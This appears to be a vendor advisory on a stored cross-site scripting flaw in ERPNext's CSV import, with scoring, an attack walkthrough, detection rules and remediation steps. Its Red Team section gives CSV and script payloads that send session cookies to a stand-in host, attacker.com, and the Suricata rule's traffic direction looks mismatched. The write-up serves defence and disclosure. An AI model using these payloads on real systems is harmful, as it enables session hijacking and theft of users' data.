CVE-2025-65923

Executive Summary

CVE-2025-65923 is a Stored Cross-Site Scripting (XSS) vulnerability in the CSV import mechanism of ERPNext, a popular open-source ERP system. An attacker with authenticated access can upload a crafted CSV file containing malicious JavaScript in a field. This payload is stored in the database and executed in the browser of any user who views the affected record. The vulnerability affects ERPNext through version 15.88.1. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the actual severity is medium (CVSS 5.4). No public exploit code or patch is currently available.

Supply Chain & Package Security

ERPNext is a Python-based application built on the Frappe framework. The vulnerability exists in the CSV import module, which is a core component. Since no patch is available, organizations using ERPNext should consider this a supply chain risk. The absence of a patch means the vendor has not yet addressed the issue, leaving all installations through version 15.88.1 vulnerable.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is carried out over the network via CSV upload.
• Attack Complexity (AC): Low (L) - No special conditions are required; the attacker simply uploads a malicious CSV.
• Privileges Required (PR): Low (L) - The attacker needs a valid user account with permission to import CSV data.
• User Interaction (UI): Required (R) - The victim must view the affected record for the XSS to execute.
• Scope (S): Changed (C) - The vulnerability can impact resources beyond the vulnerable component (e.g., session tokens).
• Confidentiality (C): Low (L) - Limited data exposure possible.
• Integrity (I): Low (L) - Limited ability to modify data.
• Availability (A): None (N) - No impact on availability.

CVSS Score: 5.4 (Medium)

Threat Level: Medium. The vulnerability requires authentication and user interaction, but it can lead to session hijacking and unauthorized actions.

Deep Dive & Mechanics

The vulnerability resides in the CSV import functionality of ERPNext. When a user imports a CSV file using the "Update Existing Records" option, the application parses the CSV and stores the data directly into the database without proper sanitization. Specifically, fields containing HTML or JavaScript are not escaped before storage.

The attack flow:

1. An authenticated attacker crafts a CSV file with a malicious payload in one of the fields (e.g., <script>alert('XSS')</script>).
2. The attacker uploads this CSV using the import feature.
3. ERPNext stores the payload in the database.
4. When any user (including administrators) views the record containing the malicious field, the payload is rendered in the browser, executing the JavaScript.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of output encoding when displaying imported data.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code likely resides in the CSV import handler, where data is inserted into the database without sanitization. A patched version would need to:

• Sanitize input during CSV import (e.g., strip HTML tags or encode special characters).
• Apply output encoding when rendering stored data in the web interface.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid ERPNext user account with "Item" or similar document creation/update permissions.
• Access to the CSV import feature.

Exploitation Steps:

1. Create a CSV file with the following content:

   item_code,item_name,description
   XSS-001,Test Item,<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Log in to ERPNext and navigate to the CSV import module.
3. Select the "Update Existing Records" option and upload the CSV.
4. The malicious script is stored in the database.
5. When an administrator or any user views the "Test Item" record, the script executes, sending the victim's session cookie to the attacker's server.

Advanced Payload:

<script>
var img = new Image();
img.src = 'https://attacker.com/steal?data=' + encodeURIComponent(document.cookie);
</script>

Blue Team

Detection:

• Monitor CSV import logs for unusual field content (e.g., HTML tags, JavaScript).
• Use web application firewalls (WAF) to inspect CSV uploads for XSS patterns.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Prevention:

• Disable the CSV import feature for non-admin users if not required.
• Apply input validation and output encoding in the application code.
• Use a security scanner to detect stored XSS vulnerabilities.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /api/method/frappe.core.doctype.data_import.data_import.import_data with CSV files containing <script> tags.
• File: CSV files with fields containing HTML or JavaScript code.
• Logs: Application logs showing import of CSV files with suspicious content.
• Database: Records in tabItem or similar doctypes containing unescaped HTML/JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_65923_Stored_XSS_CSV {
    meta:
        description = "Detects CSV files with potential XSS payloads targeting ERPNext"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65923"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"].*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: ERPNext CSV Import Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSV import events with potential XSS payloads in ERPNext
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: erpnext
detection:
    selection:
        event: "data_import.import_data"
        csv_content|contains:
            - "<script"
            - "javascript:"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-65923 ERPNext CSV Import Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/api/method/frappe.core.doctype.data_import.data_import.import_data"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable CSV Import: Restrict the CSV import feature to only trusted administrators.
2. Input Validation: Implement server-side validation to strip or encode HTML/JavaScript from CSV fields.
3. Output Encoding: Ensure all user-supplied data is properly encoded before rendering in the web interface.

Long-term Fix:

• Apply a patch from the vendor once available.
• Upgrade to a patched version of ERPNext (future release > 15.88.1).

Workarounds:

• Use a WAF to block CSV uploads containing XSS patterns.
• Implement CSP headers to prevent script execution.

Valters IT